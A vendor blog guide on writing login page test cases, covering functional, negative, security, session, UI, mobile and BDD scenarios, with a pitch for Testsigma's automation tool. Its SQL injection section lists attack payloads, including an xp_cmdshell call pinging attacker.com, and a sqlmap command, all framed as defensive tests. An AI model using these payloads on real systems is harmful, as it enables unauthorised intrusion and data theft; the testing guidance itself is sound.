Testsigma Agentic Test Automation Tool

Products

Solutions

Resources

AI agentsDocsPricing

How to Write Test Cases for Login Page?

Test cases for a login page validate that an application's authentication system correctly handles every credential combination, access scenario, and failure path. A complete login page test suite covers functional cases (valid/invalid credentials), security cases (SQL injection, brute-force lockout), UI cases (field visibility, error messages), performance cases (concurrent logins), and session management cases (timeouts, cookies, Remember Me).

reviewed-by-icon
Testers Verified
Last update: 21 Sept 2026
HomeBlogHow to Write Test Cases For Login Page?

Key Takeaways

  • Login page test cases span six categories: functional, security, UI/design, performance, session management, and mobile-specific.
  • Positive cases confirm valid credentials grant access; negative cases confirm invalid, expired, or locked accounts are rejected.
  • Security test cases must cover SQL injection, brute-force lockout (typically after 3–5 attempts), CAPTCHA, HTTPS enforcement, and MFA flows.
  • Session test cases validate timeout duration, Remember Me persistence, cookie encryption, and token invalidation on logout.
  • Testsigma automates the complete login test suite using NLP steps and AI-powered test management (Atto) — no coding required.
  • BDD (Behavior-Driven Development) using Gherkin Given-When-Then structure is the standard for writing cross-team login scenarios.

What Are Login Page Test Cases?

Login page test cases are structured testing scenarios that validate whether an application’s authentication mechanism correctly handles every credential combination, access scenario, error state, and security threat. The login page is the most attacked surface in any web or mobile application, making thorough, multi-layered testing non-negotiable.

Each login test case should define a unique ID, precondition, test steps, expected result, and actual result. Test cases fall into six primary categories:

  • Functional: Does the login work as designed?
  • Security: Can it be bypassed, injected, or brute-forced?
  • UI/Design: Does it look and behave correctly across devices?
  • Performance: Does it hold up under concurrent user load?
  • Session management: Are sessions created, maintained, and terminated correctly?
  • Mobile-specific: Does it work correctly on smartphones and tablets?

What Are the Positive Functional Test Cases for Login Page?

Positive functional test cases confirm the login page works correctly under expected, valid conditions:

#Test CasePreconditionExpected Result
1Login with valid username and passwordUser account exists and is activeUser redirected to dashboard; session token created
2Login with valid email as usernameAccount uses email as primary identifierSuccessful login; correct user profile loaded
3Login with case-insensitive credentialsUsername: ‘User@Example.com’ vs ‘user@example.com’Both accepted; login successful
4Login with minimum allowed character lengthUsername: 3 chars, Password: 8 chars (per policy)Accepted; login successful
5Login with maximum allowed character lengthUsername: 50 chars, Password: 128 charsAccepted without truncation; login successful
6Login with special characters in passwordPassword contains: @#$%^&*!Accepted; login successful
7Login after password resetUser has completed password reset flowNew credentials accepted; old credentials rejected
8Login with ‘Remember Me’ selectedCheckbox ticked before submitSession persists after browser restart
9Login from multiple devices simultaneouslySame account accessed on two devicesBoth sessions active; no forced logout
10Login via Google/SSO (Social Login)OAuth integration configuredUser authenticated via provider; redirected to app
11Login with MFA enabled (OTP/authenticator app)MFA configured for user accountCredentials accepted; OTP prompt shown; access granted on correct OTP
12Login redirects to originally requested pageUser tried to access /dashboard before loginAfter login, redirected to /dashboard not generic homepage
13Login with biometric authentication (mobile)Device supports fingerprint/Face IDBiometric prompt shown; successful auth grants access
14Login page loads over HTTPSServer configured with SSL/TLSURL shows https://; no mixed content warnings

What Are the Negative Functional Test Cases for Login Page?

Negative functional test cases confirm the login page correctly rejects invalid, unauthorized, or malformed inputs:

#Test CaseInput / ConditionExpected Result
1Login with incorrect passwordValid username + wrong passwordError: ‘Invalid username or password’
2Login with non-existent usernameUsername not in databaseError: ‘Invalid username or password’ (no account enumeration)
3Login with blank username fieldEmpty username submittedError: ‘Username is required’
4Login with blank password fieldEmpty password submittedError: ‘Password is required’
5Login with both fields emptySubmit with no inputValidation errors on both fields
6Login with expired accountAccount past expiration dateError: ‘Account expired contact support’
7Login with deactivated accountAccount disabled by adminError: ‘Account is deactivated’
8Login with account pending approvalAccount not yet approvedError: ‘Account pending approval’
9Login with case-sensitive password (wrong case)Password: ‘Password1’ entered as ‘password1’Rejected passwords are case-sensitive
10Login with SQL injection payload in usernameUsername: ‘ OR ‘1’=’1Input sanitised; login rejected; no database error exposed
11Exceeding maximum failed login attempts (brute-force)5 consecutive wrong passwordsAccount locked for defined period (e.g., 30 min); lockout notification shown
12Login with expired session tokenToken older than session timeoutSession invalidated; user redirected to login page
13Login over HTTP (no SSL)URL: http:// instead of https://Redirected to HTTPS or blocked with error
14Login with copy-pasted password containing hidden spacesPassword includes leading/trailing spacesTrimmed and validated OR clearly rejected with guidance

Automate Your Tests 5x Faster with Testsigma

What Are the Non-Functional Test Cases for Login Page?

CategoryTest CaseExpected Result
Security (+)HTTPS enforced all login traffic encryptedSSL/TLS handshake confirmed; certificate valid
Security (+)Session timeout after inactivity (e.g., 15–30 min)User auto-logged out; redirected to login
Security (+)Account lockout after N failed attemptsLockout triggered at threshold; countdown shown
Security (+)CAPTCHA appears after failed attempt thresholdCAPTCHA required before next login attempt
Security (+)Passwords stored as hashed + salted valuesDatabase inspection confirms no plaintext storage
Security (+)Password complexity enforced (min 8 chars, mix required)Weak passwords rejected at creation; strong ones accepted
Security (-)Absence of HTTPS data transmitted in plaintextSecurity failure credentials interceptable
Security (-)No session timeout session persists indefinitelySecurity risk unauthorized access possible on shared devices
Security (-)No account lockout after repeated failuresBrute-force vulnerability OWASP A07:2021
Security (-)Password stored in plaintextCritical security failure immediate remediation required
Security (-)No MFA option availableIncreased risk of credential-based attack
PerformanceLogin response time under 2 seconds (normal load)< 2s response at P95 under standard traffic
PerformanceLogin handles 1,000 concurrent users without degradationNo timeouts or errors under concurrent load
PerformanceLogin performance stable over 1-hour soak testNo memory leaks or progressive slowdown
PerformanceLogin performance under simulated poor network (3G)Graceful degradation; meaningful timeout message shown

What Are the UI Test Scenarios for Login Page?

UI AreaTest CaseExpected Result
Field ValidationUsername and password fields visible and labelledLabels ‘Email / Username’ and ‘Password’ clearly positioned
Field ValidationPassword field masks input by defaultCharacters shown as dots/asterisks
Field ValidationShow/hide password toggle worksToggle reveals/hides password text correctly
Field ValidationTab order correct: Username → Password → SubmitKeyboard navigation follows logical form order
Error MessagesError shown for invalid credentialsSpecific, non-enumeration message: ‘Invalid username or password’
Error MessagesError disappears when valid input is enteredInline validation clears on correction
Error MessagesCharacter limit error shown for oversized inputMessage: ‘Must be fewer than X characters’
Remember MeCheckbox retains state on page reloadState preserved across page refresh
Remember MeCredentials populated on return visitUsername pre-filled; password field focused
Remember MeSensitive data not exposed via browser autofill inspectionStored credential not readable from DevTools
Forgot Password‘Forgot Password’ link visible and functionalLink present below password field; click triggers reset flow
Forgot PasswordPassword reset email sent to registered addressEmail received within 60 seconds with valid reset link
Forgot PasswordReset link expires after defined window (e.g., 1 hour)Expired link shows: ‘This link has expired’
ResponsivenessLogin page renders correctly on mobile (360px+)No overflow, all elements tappable, virtual keyboard does not obscure fields
ResponsivenessLogin page works in landscape and portrait orientationsLayout adapts to orientation change without breaking
Browser CompatibilityLogin works on Chrome, Firefox, Safari, EdgeConsistent rendering and function across all four
AccessibilityLogin page passes WCAG 2.1 AA contrast requirementsAll text and field labels meet 4.5:1 contrast ratio

What Are the Session Management Test Cases for Login Page?

#Test CaseExpected Result
1Session created on successful loginValid session token issued; stored securely (HttpOnly, Secure flags)
2Session expires after inactivity timeoutUser logged out automatically; redirected to login
3Session destroyed on explicit logoutToken invalidated server-side; cannot be reused
4‘Remember Me’ session persists after browser closeSession cookie with extended TTL survives browser restart
5Session cookie is HttpOnly and SecureCookie not accessible via JavaScript; only sent over HTTPS
6Concurrent sessions allowed per policyMultiple active sessions permitted (or restricted) per configuration
7Session invalidated after password changeAll existing sessions terminated; re-login required
8Old session token rejected after logoutReplaying old token returns 401 Unauthorized
9CSRF token present on login formAnti-CSRF token validated on form submission
CategoryTest CaseExpected Result
CAPTCHACAPTCHA present on login page after failed attemptsCAPTCHA challenge appears at defined failure threshold
CAPTCHACAPTCHA regenerates when refresh is clickedNew challenge generated; old challenge invalidated
CAPTCHAInvalid CAPTCHA blocks login attemptLogin rejected; error shown; new CAPTCHA generated
CAPTCHAAudio CAPTCHA alternative available (accessibility)Audio option functional; correctly validated
CAPTCHACAPTCHA expires after reasonable inactivity periodSession shows fresh CAPTCHA on next attempt
CookiesLogin sets session cookieCookie created with correct domain, path, and flags
CookiesCookie valid across browser sessions (Remember Me)Cookie persists between browser restarts within TTL
CookiesCookie deleted on logoutSet-Cookie header with past expiry sent on logout
CookiesCookie encrypted and not readable in plaintextValue is opaque token not readable user data
CookiesSameSite cookie attribute set correctlySameSite=Lax or Strict to prevent CSRF attacks

Automate Your Tests 5x Faster with Testsigma

How to Test SQL Injection on a Login Page?

SQL injection on a login page attempts to manipulate the database query behind credential validation. Per OWASP Top 10 (A03:2021), injection is one of the most critical web application risks. Use these structured test cases:

Injection TypePayload ExampleExpected Result (Secure App)
Boolean-based‘ OR ‘1’=’1Login rejected; no unauthorized access granted
Boolean-basedadmin’–Login rejected; SQL comment not executed
Error-based‘ AND 1=CONVERT(int,’a’)–Generic error shown; no database error details exposed
Time-based (blind)‘; WAITFOR DELAY ‘0:0:5’–No delay in response; injection not executed
Union-based‘ UNION SELECT null, username, password FROM users–No data returned; query sanitised
Out-of-band‘; EXEC xp_cmdshell(‘ping attacker.com’)–No outbound connection; payload blocked
Classic bypass‘ or 1=1–Login rejected; authentication not bypassed

Automated SQL injection testing tool: SQLMap can be run against the login form endpoint: sqlmap -u ‘https://app.com/login’ –data=’username=test&password=test’ –level=3 –risk=2. All findings should be retested manually to confirm exploitability.

BDD Test Cases for Login Page (Given-when-then)

BDD (Behavior-Driven Development) uses the Given-When-Then Gherkin syntax to write test cases that are readable by developers, QA, and business stakeholders alike:

ScenarioGivenWhenThen
Successful loginValid credentials existUser submits correct username + passwordUser redirected to dashboard; session token active
Incorrect passwordUser account existsUser submits wrong passwordError shown: ‘Invalid username or password’; no account details exposed
Account lockoutUser has failed 4 previous attemptsUser submits wrong password a 5th timeAccount locked for 30 minutes; lockout message shown with recovery option
MFA flowUser has MFA enabled; valid credentials enteredUser submits credentials and clicks LoginOTP/authenticator prompt shown; access granted only on correct code
Forgot passwordUser clicks ‘Forgot Password’User submits their registered emailReset email sent within 60s; reset link expires in 1 hour
SSO loginSSO/OAuth integration is configuredUser clicks ‘Sign in with Google/SSO’Redirected to identity provider; on success, returned to app with active session
Session timeoutUser authenticated; idle for 30 minutesSession timeout triggersUser logged out; redirected to login with ‘Session expired’ message
Remember MeUser ticks ‘Remember Me’ and logs inUser closes and reopens browserUser remains logged in; session persists without re-authentication

What Are the Login Page Test Cases for Mobile Applications?

#Test CaseExpected Result
1Login page renders correctly on iOS and Android (320px–428px)No overflow; all elements tap-friendly (min 44x44px)
2Login works in portrait and landscape orientationLayout adapts; no elements obscured
3Virtual keyboard does not obscure password fieldPage scrolls or field shifts above keyboard
4Login works with biometric authentication (fingerprint, Face ID)Biometric prompt shown; success grants access
5Login with OTP/MFA on mobileOTP auto-fills from SMS on supported devices
6Login attempted while offlineError: ‘No internet connection’; retry option shown
7Login page loads on 3G/4G/5G networkPage loads within 3 seconds on 4G; timeout handled on 2G
8Login on low-end device with limited RAMNo crash; UI responsive; login completes
9Battery drain during login is minimalLogin does not trigger excessive background processes
10Login works on latest OS versions (iOS 17+, Android 14+)No compatibility issues on current OS versions

Automate Your Tests 5x Faster with Testsigma

How to Automate Login Page Test Cases Using Testsigma

Testsigma automates the complete login test suite including functional, security, and cross-browser scenarios using NLP test steps. No coding required. Here is the step-by-step workflow:

test cases
  • 1. Create a new test case in Testsigma and navigate to your login page URL.
  • 2. Use NLP step: ‘Enter [username] in the Username field’ Testsigma auto-locates the element via its AI-powered element inspector.
  • 3. Add NLP step: ‘Enter [password] in the Password field’.
  • 4. Add NLP step: ‘Click the Login button’.
  • 5. Add assertion: ‘Verify that the current URL contains /dashboard’ confirms successful redirect.
  • 6. Create a Test Data Profile with multiple rows: valid credentials, invalid password, blank fields, SQL injection payloads all injected as parameters into the same test.
  • 7. Add conditional assertions for each data row: valid rows assert success; invalid rows assert the correct error message text.
  • 8. Use Testsigma’s Atto AI agent to generate additional edge-case test steps from the login page DOM automatically.
  • 9. Configure a Test Plan targeting Chrome, Firefox, Safari, and Edge run in parallel.
  • 10. Review the AI-generated failure report: Atto flags broken elements, mismatched assertions, and security deviations automatically.

Example Automated Login Test Flow

StepNLP ActionTest DataExpected Outcome
1Navigate to login URLhttps://app.example.com/loginLogin page loads
2Enter usernameuser@domain.comUsername field populated
3Enter passwordValidPass@123Password masked in field
4Click Login button–Form submitted
5Assert URL contains /dashboard–Redirect confirmed
6Re-run with invalid passwordWrongPass123Error message shown
7Re-run with SQL injection payload‘ OR ‘1’=’1Input rejected; no bypass
8Re-run with blank fields(empty)Required field errors shown
9Assert session cookie exists–Cookie with HttpOnly + Secure flags present

Tips for Writing Better Login Page Test Cases

TipDetail
Focus on one function per test caseIsolates failures for easy reproduction and debugging
Always include preconditionsSpecify account state, session state, and environment before steps
Cover both positive and negative paths50% of defects hide in edge cases and failure paths
Prioritize security test casesLogin pages are the #1 attack surface SQL injection and brute-force must be covered first
Automate repetitive scenariosRegression tests for valid login, lockout, and session expiry are ideal automation candidates
Use meaningful test case namese.g., ‘TC_LOGIN_NEG_005 Verify lockout after 5 failed attempts’
Update tests when the UI changesLogin UI changes (new SSO button, field rename) break tests maintain with auto-healing
Test across all browsers and devicesLogin bugs are often browser or OS-specific
Document expected results explicitly‘Error message shown’ is not enough specify exact error text
Include accessibility checksWCAG 2.1 compliance: contrast ratio, keyboard navigation, screen reader labels

Frequently Asked Questions

1. What are test cases for a login page?

Login page test cases are structured testing scenarios that validate whether an application’s authentication mechanism handles every credential combination, error state, and security threat correctly. They cover functional flows, security attacks (SQL injection, brute-force), UI consistency, performance under load, and session lifecycle management.

2. How many test cases are needed for a login page?

A comprehensive login page test suite typically requires 60–120 test cases across functional (positive/negative), security, UI/design, performance, session management, CAPTCHA, cookie, BDD, and mobile-specific categories. The exact number depends on the complexity of the authentication system (e.g., whether SSO, MFA, or biometrics are supported).

3. What is the most important security test case for a login page?

SQL injection testing and brute-force lockout testing are the two most critical security test cases per OWASP Top 10. SQL injection (A03:2021) tests whether the login form can be bypassed by malicious input; brute-force lockout (A07:2021) tests whether repeated failed attempts trigger account protection.

4. How do you test login with MFA (Multi-Factor Authentication)?

Test MFA by verifying: (1) valid credentials prompt the MFA challenge, (2) correct OTP/authenticator code grants access, (3) incorrect OTP is rejected, (4) expired OTP is rejected, (5) MFA cannot be skipped by direct URL navigation, and (6) MFA works on mobile via SMS auto-fill and authenticator apps.

5. What should the expected result be for a failed login test case?

A secure application should return a generic error message ‘Invalid username or password’ regardless of whether the username or password is wrong. Specific errors like ‘Username not found’ expose account enumeration vulnerabilities (OWASP A01:2021). The error should not reveal which field failed.

6. How do you automate login page test cases?

Testsigma automates login test cases using NLP-based test steps (no coding required), test data profiles for valid/invalid/injection input variants, and AI-powered auto-healing that keeps tests stable through UI changes. Atto, Testsigma’s AI agent, can generate edge-case login scenarios from the page DOM automatically.

7. What are BDD test cases for a login page?

BDD (Behavior-Driven Development) login test cases use Gherkin’s Given-When-Then format to write scenarios readable by developers, QA, and business stakeholders. Example: ‘Given valid credentials exist When user submits the login form Then user is redirected to the dashboard and a session token is created.’ Testsigma supports NLP-based test steps that mirror this structure.

8. How do you test a login page on mobile?

Mobile login testing covers: rendering on 320px–428px screen widths, portrait/landscape orientation, virtual keyboard not obscuring fields, biometric authentication (fingerprint/Face ID), OTP auto-fill from SMS, offline error handling, performance on 3G/4G networks, and compatibility with the latest iOS and Android versions.

Written By

Bharath Krishna

Testsigma Author - Bharath Krishna

Bharath Krishna

A passionate writer, proficient in Technical and SEO-Optimized content writing with a keen eye for creativity. A quick learner who loves exploring new tools and technologies to share knowledge through blogs, guides, and articles. He has also penned an anthology titled "When Unsaid" with a deep love for poetry and philosophy. When not working, he loves to read books and play chess.

Published on: 21 Dec 2023

RELATED BLOGS